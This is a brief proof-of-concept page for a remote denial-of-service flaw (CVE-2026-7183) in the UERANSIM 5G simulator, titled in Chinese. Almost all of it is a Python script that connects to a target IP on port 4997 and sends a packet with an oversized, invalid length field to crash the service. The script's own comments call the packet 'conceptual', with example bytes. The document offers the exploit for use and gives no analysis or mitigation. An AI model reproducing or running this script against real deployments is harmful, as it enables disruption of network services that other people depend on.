CVE-2026-7183 UERANSIM远程拒绝服务漏洞

import socket # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 4997 # UERANSIM default RLS port, adjust if needed def send_exploit(): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Construct malicious payload # The vulnerability involves manipulating pduLength to trigger an exception. # This is a conceptual representation of a malformed PDU. # Header + Malformed Length Field malicious_header = b"\x00\x01" # Example message type malicious_pdu_length = b"\xFF\xFF\xFF\xFF" # Extremely large or invalid length payload = malicious_header + malicious_pdu_length + b"A" * 100 # Send payload s.send(payload) print("[+] Malicious payload sent to trigger uncaught exception.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()